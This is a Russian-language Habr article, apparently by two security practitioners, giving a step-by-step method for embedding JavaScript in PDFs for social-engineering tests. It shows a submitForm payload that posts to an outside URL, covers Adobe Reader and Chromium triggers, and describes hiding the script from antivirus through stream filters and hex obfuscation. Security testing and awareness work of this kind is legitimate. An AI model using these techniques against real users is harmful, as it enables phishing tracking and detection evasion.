Встраиваем JS- скрипты в PDF для социальной инженерии — пошаговое руководство

Введение

Согласно статистике, большинство всех атак совершается с использованием вредоносного программного обеспечения, а половина от всех атак проводится с использованием методов социальной инженерии.

Таким образом, для проведения проверок с использованием методов социальной инженерии полезно научиться отслеживать реакцию пользователей, что они будут делать с полученным документом. Причём делать это необходимо штатными средствами, никого не взламывая. JavaScript идеально подходит для этих целей.

Мы, Маргарита Белоусова, аналитик аналитического центра и Анастасия Прядко, специалист по анализу защищенности компании УЦСБ написали пошаговую инструкцию, как сделать фишинговый документ: детали и примеры кода. Кроме того, мы кратко рассмотрели структуру PDF-файла, как и куда в него внедрять JavaScript, а также способы маскировки факта внедрения скрипта. Наш опыт пригодится безопасникам, системным администраторам и всем, кто связан с ИБ.

Структура PDF

Организация данных в памяти

PDF способен на большее, чем просто отображать текст. Он может также включать в себя изображения и другие мультимедийные элементы, может быть защищён паролем, выполнять JavaScript и многое другое. Вне зависимости от версии структура PDF документа неизменна:

Рисунок 1. Структура PDF

Рисунок 1. Структура PDF

1. Заголовок (header): самая первая строка файла, хранит номер версии спецификации PDF. На картинке выше представлен заголовок PDF-файла версии 1.7. Символ »%» вне строки или потока вводит комментарий в PDF.

2. Тело (body): хранит в себе все объекты PDF — текстовые потоки, различные мультимедийные элементы и тому подобное. Тело используется для хранения всех данных документа, отображаемых пользователю.

3. Таблица ссылок (cross-reference table): таблица перекрёстных ссылок, содержащая смещения каждого объекта в памяти. Это позволяет приложению получать произвольный доступ к любому объекту документа, не читая его целиком. Каждая таблица начинается с ключевого слова «xref». Во второй строке первое число — это номер текущего объекта, а второе — количество строк в таблице.

Рисунок 2. Таблица перекрёстных ссылок

Рисунок 2. Таблица перекрёстных ссылок

Каждый объект здесь представлен одной записью длиной 20 байтов (включая CRLF). Первые 10 байтов — это смещение объекта от начала PDF-документа до начала этого объекта. Далее разделем пространства с другим числом, определяющим номер поколения объекта. После этого есть еще один разделитель пространства, за которым следуют буква «f» или «n», чтобы указать, свободен или используется объект.

Первый объект имеет идентификатор 0 и содержит одну запись с номером поколения 65535, находящимся во главе списка свободных объектов (обратите внимание на букву «f», что означает свободный). Последний объект в таблице перекрестных ссылок использует номер поколения 0.

4. Блок поиска таблиц объектов и ссылок (trailer): предоставляет соответствующую информацию о том, как приложение, читающее файл, должно найти таблицу перекрестных ссылок и другие специальные объекты. В трейлере также содержится информация о количестве исправлений, внесенных в документ. Все приложения для чтения PDF начинают с этого раздела.

Рисунок 3. Трейлер

Рисунок 3. Трейлер

«Size» здесь означает количество записей в таблице ссылок, «Root» указывает косвенную ссылку на корневой объект документа, а «Info» ссылает на информационный объект.

PDF был разработан с учётом возможности обновления. При постепенном обновлении PDF-файла изменения должны быть добавлены в конец файла, оставляя его исходное содержимое нетронутым.

Рисунок 4.  Обновление pdf-файла

Рисунок 4.  Обновление pdf-файла

Дополнительные разделы перекрестных ссылок содержат только записи для объектов, которые были изменены, заменены или удалены. Удаленные объекты остаются в файле, но отмечаются флагом «f». Каждый трейлер должен быть завершен тегом »%% EOF» и должен содержать запись «Prev», которая указывает на предыдущий раздел перекрестных ссылок.

Косвенные объекты

Каждый такой объект начинается с записи из двух чисел: номер объекта и его поколение. Далее следует ключевое слово «obj», за ним следует сам объект и закрывает всё это дело ключевое слово «endobj». Чтобы сослаться на такой объект косвенной ссылкой, указываем номер объекта, его генерацию и ключевое слово «R».

О JavaScript

Согласно классификации модели безопасности Adobe, функции были разделены на привилегированные и непривилегированные. Все критические функции выполняются в привилегированном контексте; пользователь получает предупреждение перед выполнением такой функции, которое необходимо принять для продолжения операции. Все прочие функции выполняются без предупреждений или ограничений.

Обратим внимание, что не все просмотрщики поддерживают исполнение скриптов, некоторые позволяют исполнять только очень ограниченный набор функций. В том же Adobe Reader есть возможность принудительно отключить возможность исполнения JavaScript.

Код JavaScript в PDF должен быть представлен действием, которое задаётся в словаре следующим образом:

Рисунок 5. Словарь с кодом JS

Рисунок 5. Словарь с кодом JS

Ключ «S» указывает на тип действия; в данном случае «JavaScript». Под ключом «JS» указывается сам код. Его представляем в виде строки или потока.

Данный словарь можно хранить в любом месте, где можно использовать действия; например, в OpenAction. В этом случае код исполнится в момент открытия документа. Кроме того, ради поддержки параметризованных функций в PDF существует возможность хранить код в дереве имён. Тогда, при открытии документа все функции, определённые в дереве имён, будут исполнены и определены для использования другими скриптами в документе.

Разберём конкретный пример. Посмотрим сначала на корневой объект. Он представлен словарём <<ключ1 значение1 ключ2 значение2 …>>. В строке 7 он содержит косвенную ссылку (6 0) на корень дерева имён.

Рисунок 6. Корневой объект

Рисунок 6. Корневой объект

Далее, посмотрим на дерево имён. Строка 50 также содержит косвенную ссылку на объект (7 0), содержащий дерево имён с действиями JavaScript.

Рисунок 7. Корень дерева имён

Рисунок 7. Корень дерева имён

Далее, строка 70 объекта (7 0) содержит перечень имён в массиве [ключ1 значение1 ключ2 значение2…], отсортированный в лексикографическом порядке. В данном случае пара ключ-значение только одна. Имя ключа не несёт никакого сакрального смысла и нужно для удобства организации хранения скриптов.

Рисунок 8. Имя скрипта

Рисунок 8. Имя скрипта

Объект (8 0) содержит, наконец, сам JS-код. Строка 64 описывает тип действия, в данном случае JavaScript. Строка 62 содержит сам скрипт в текстовом виде.

Рисунок 9. Объект со скриптом

Рисунок 9. Объект со скриптом

Так результат отображается в Google Chrome:

Рисунок 10. Alert в браузере

Рисунок 10. Alert в браузере

 В Adobe Acrobat:

Рисунок 11. Alert в Adobe Reader

Рисунок 11. Alert в Adobe Reader

Внедрим теперь тот же скрипт, но уже в OpenAction:

Рисунок 12.  OpenAction в корневом объекте

Рисунок 12.  OpenAction в корневом объекте

Рисунок 13. Действие в OpenAction

Рисунок 13. Действие в OpenAction

Откроем документ просмотрщиком и сравним с предыдущим вариантом. В Google Chrome разница визуальна не заметна:

Рисунок 14. Alert в браузере

Рисунок 14. Alert в браузере

А вот Adobe Acrobat позволяет визуально определить разницу во времени, когда исполняется скрипт.

Рисунок 15. Alert в Adobe Reader

Рисунок 15. Alert в Adobe Reader

6Сборка файла для социальной инженерии

 Для внедрения кода и разбора файлов я использовала библиотеку для Python pdfrw. Для экспериментов будем использовать документ file-sample_150kB.pdf. Во всех последующих примерах фигурирует следующий скрипт:

app.alert("Click here");

this.submitForm('https://my.url/');

 Для начала внедрим код просто в дерево имён и откроем результат в Adobe Reader:

/Names: <>]  >> >>

Сначала появится окно предупреждения. Так что есть возможность подобрать текст так, чтобы в дальнейшем было не страшно нажать «разрешить» в окне разрешения доступа.

Рисунок 16. Окно предупреждения

Рисунок 16. Окно предупреждения

Окно разрешения:

Рисунок 17. Окно разрешения

Рисунок 17. Окно разрешения

До того, как пользователь нажмёт кнопку «разрешить», приложение отправит DNS-запрос. Для примера был выбран pipedream.net, поскольку домен второго уровня здесь не резолвится. Если бы его можно было разрезолвить, как тот же burpcollaborator.net, процесс бы на этом остановился. Приложение будет опускаться на один домен ниже до тех пор, пока он не разрезолвится (или резолвить будет нечего)

Рисунок 18.  Попытки резолва в Wireshark

Рисунок 18.  Попытки резолва в Wireshark

Если нажать кнопку «разрешить», то появится окно передачи данных:

Рисунок 19.  Окно передачи данных

Рисунок 19.  Окно передачи данных

Запрос дошёл до точки:

Рисунок 20.  Дошедший POST-запрос

Рисунок 20.  Дошедший POST-запрос

Однако, если мы захотим применить такое зная, что пользователь будет открывать документ в браузере на движке Chromium, то такой метод не сработает. Chromium использует в качестве просмотрщика PDF сильно ограниченный PDFium, и просто так «submitForm» не исполнить, однако в аннотации к странице можно.

 Собственно, давайте сделаем это:

/Annots: [ <>, 

/Parent: <> >> ]

При открытии документа в Google Chrome и нажатии на любом месте страницы появляется оповещение, не оставляющее альтернатив, кроме как нажать «ОК». Для запрета можно закрыть вкладку. При подтверждении для жертвы с виду больше ничего не происходит.

Рисунок 21. Окно предупреждения в браузере

Рисунок 21. Окно предупреждения в браузере

Но на самом деле запрос уже ушёл на сервер:

Рисунок 22. Дошедший POST-запрос

Рисунок 22. Дошедший POST-запрос

Прятки с антивирусами

 Некоторые файрволы и антивирусы работают исключительно методом сигнатурного поиска, так что было бы неплохо научиться избегать потенциального обнаружения. Глобально можно выделить две стратегии обфускации, которые можно комбинировать между собой различными способами. При правильном исполнении разницы в отображении документа до и после манипуляций быть не должно.

Потоки

Этот тип данных поддерживает применение различных фильтров к данным потока. Таким образом можно скрывать содержимое потока:

Рисунок 23. Скрипт, закодированный в потоке

Рисунок 23. Скрипт, закодированный в потоке

В данном примере используется фильтр «FlateDecode», устанавливающийся для данных, сжатых методом «zlib/deflate». Не обязательно использовать только один фильтр, их можно устанавливать несколько, перечисляя в массиве: /Filter [/filter1 /filter2…]. В результате применения фильтров становится очень тяжело получить обычный текст. Кроме того, PDF также поддерживает задания целых объектов или групп объектов в потоке посредством «ObjStm».

Манипуляции со строками

Благодаря синтаксису PDF строки и имена можно писать по-разному. Это полезно в случае, если инструменты статистического анализа просто определяют определённые ключевые слова в документе, например «JavaScript».

В следующем примере используется шестнадцатеричная кодировка, чтобы сокрыть слова «JavaScript», «JS», а также название и содержание самого скрипта, плюс в шестнадцатеричной строке расставлены пробельные символы в произвольных местах (механизм рендеринга PDF игнорирует их и просто объединяет части строки):

Рисунок 24.  Обфусцированный тег

Рисунок 24.  Обфусцированный тег

Рисунок 25.  Обфусцированный код

Рисунок 25.  Обфусцированный код

Подводя итоги

Таким образом, для проведения проверок с использованием методов социальной инженерии было бы полезно научиться отслеживать реакцию пользователей, что они будут делать с полученным документом. Причём делать это необходимо штатными средствами, никого не взламывая. JavaScript идеально подходит для этих целей.

Используя комбинации триггеров, действий и/или сегментов JS-кода можно инициировать внешние подключения, исполнять произвольный код. Но можно и валидировать ввод в формах, автоматически заполнять поля, динамического изменять страницы при отправке на печать. Хотя результат всё ещё очень сильно зависит от приложения, использующегося для просмотра документа. Не существует универсальной нагрузки или атаки, которая одинаково бы работала для каждого просмотрщика, успех всегда будет зависеть от механизма рендеринга PDF, полноты его реализации и политик безопасности.

Источники и дальнейшее чтение

JavaScript for Acrobat API Reference

How to Manually Create a PDF

How to Embed JavaScript into PDF

A Curious Exploration of Malicious PDF Documents

pdfrw 0.4

© Habrahabr.ru